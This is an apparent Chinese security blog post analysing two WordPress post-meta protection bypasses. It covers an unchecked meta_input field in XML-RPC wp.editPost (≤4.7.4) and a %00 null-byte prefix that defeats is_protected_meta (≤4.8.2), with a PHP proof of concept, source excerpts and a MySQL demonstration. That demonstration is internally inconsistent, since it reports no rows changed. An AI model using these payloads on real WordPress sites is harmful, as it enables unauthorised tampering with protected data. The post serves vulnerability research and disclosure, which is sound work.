作者:@Ambulong
本文将介绍如何绕过Wordpress的meta_key
检查,添加字段/栏目名以下划线
开头的自定义栏目/字段
。
Wordpress中的POST META为文章
的自定义栏目/字段
,就如一篇文章
中会有标题
、作者
等字段,但是对于有些主题/插件来说,文章
中的自有字段显得不够用,就需要用到自定义栏目/字段
。
(该操作的位置在添加/编辑文章
,在文本编辑框下方的自定义栏目
,如果没有找到自定义栏目
,需要在右上角的显示选项
内将自定义栏目
勾选。)
自定义栏目/字段
的数据以meta_key
(字段/栏目名)->meta_value
(值)的形式存放在wp_postmeta
表内。以下划线
开头的meta_key
(字段/栏目名)被认为是保留字段,不允许用户添加。
本文将介绍如何绕过Wordpress的meta_key
检查,添加字段/栏目名以下划线
开头的自定义栏目/字段
。
第一章 Wordpress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞
参考内容:WordPress 4.7.5 Security and Maintenance Release
1.1 POC
1 2 3 4 5 6
| $usr = 'author'; $pwd = 'author'; $xmlrpc = 'http://local.target/xmlrpc.php'; $client = new IXR_Client($xmlrpc); $content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx")); $res = $client->query('wp.editPost',0, $usr, $pwd, 6, $content);
|
POC来自 Wordpress SQLi — PoC by slavco
1.2 漏洞分析
补丁位置:wp-includes/class-wp-xmlrpc-server.php
根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input
。
1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| protected function _insert_post( $user, $content_struct ) { $defaults = array( ... 'custom_fields' => null, 'terms_names' => null, 'terms' => null, 'sticky' => null, 'enclosure' => null, 'ID' => null, ); $post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults ); ... if ( isset( $post_data['custom_fields'] ) ) $this->set_custom_fields( $post_ID, $post_data['custom_fields'] ); ... $post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true ); if ( is_wp_error( $post_ID ) ) return new IXR_Error( 500, $post_ID->get_error_message() ); if ( ! $post_ID ) return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) ); return strval( $post_ID ); }
|
按正常的业务流程,POST META应当是从custom_fields
中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key
进行检查,不应当存在问题。
但是在wp_update_post函数与wp_insert_post函数中,会从$post_data[‘meta_input’]中取出数据,不经检查直接添加到自定义栏目/字段
中。
2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php)
1 2 3 4 5 6 7 8 9 10 11 12 13
| function wp_insert_post( $postarr, $wp_error = false ) { ... $postarr = wp_parse_args($postarr, $defaults); unset( $postarr[ 'filter' ] ); $postarr = sanitize_post($postarr, 'db'); ... if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) { update_post_meta( $post_ID, $field, $value ); } } ... }
|
第二章 Wordpress ≤ 4.8.2 POST META 校验绕过漏洞
该章节更新时间:2017年11月09日
吐槽:该缺陷于9月初报告给WP Team,然而2个多月过去了仍然只有9月5号的一条回复。:(
Wordpress目前最新版为4.8.3,建议大家更新。
2.1 一个MySQL的trick
1). 正常的条件查询语句
1 2 3 4 5 6 7
| mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key | meta_value | +---------+---------+----------------+------------+ | 4 | 4 | _thumbnail_id | TESTC | +---------+---------+----------------+------------+ 1 row in set (0.00 sec)
|
2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”
1 2 3
| mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id'; Query OK, 0 rows affected (0.00 sec) Rows matched: 0 Changed: 0 Warnings: 0
|
3). 再次执行第一步的查询
1 2 3 4 5 6 7
| mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key | meta_value | +---------+---------+----------------+------------+ | 4 | 4 | _thumbnail_id | TESTC | +---------+---------+----------------+------------+ 1 row in set (0.00 sec)
|
我们可以发现依然可以查询出修改后的数据。
2.2 POST META 校验绕过
我们来看下检查meta_key
的代码,文件./wp-includes/meta.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function is_protected_meta( $meta_key, $meta_type = null ) { $protected = ( '_' == $meta_key[0] ); return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type ); }
|
is_protected_meta
函数只检查了$meta_key
的第一个字符是否以_
开头。我们有了2.1的MySQL trick,想要绕过meta_key
的检查就显得容易多了。
2.3 POC
在添加自定义栏目/字段
时抓包,将_thumbnail_id替换为%00_thumbnail_id。
参考